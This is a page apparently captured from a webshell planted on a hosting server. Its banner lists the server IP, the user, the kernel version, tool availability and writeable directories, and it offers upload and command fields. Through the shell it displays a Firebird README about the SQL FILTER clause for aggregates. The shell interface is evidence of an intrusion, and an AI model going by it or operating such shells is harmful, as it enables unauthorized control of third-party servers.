403Webshell
Server IP : 172.67.156.203  /  Your IP : 216.73.216.72
Web Server : Apache
System : Linux gator4057.hostgator.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
User : badawi ( 1130)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/firebird/sql.extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/firebird/sql.extensions/README.aggregate_filter.md
# FILTER clause for aggregate functions

The `FILTER` clause for aggregate function is a shortcut for when an aggregate function is used with some condition (decode, case, iif) to disconsider some values in the aggregation.

The clause could be used with all aggregate functions in aggregate or windowed (`OVER`) calls, but cannot be used with window-only functions like `DENSE_RANK`.

For example, if in the same query there is a need to count the number of status = 'A' and the number of status = 'E' as different columns, the old way to do it is:

```sql
select count(decode(status, 'A', 1)) status_a,
       count(decode(status, 'E', 1)) status_e
  from data;
```

With `FILTER` that conditions could be more explicit:

```sql
select count(*) filter (where status = 'A') status_a,
       count(*) filter (where status = 'E') status_e
  from data;
```

## Syntax

```
aggregate_function [FILTER (WHERE <condition>)] [OVER (<window>)]
```

Youez - 2016 - github.com/yon3zu
LinuXploit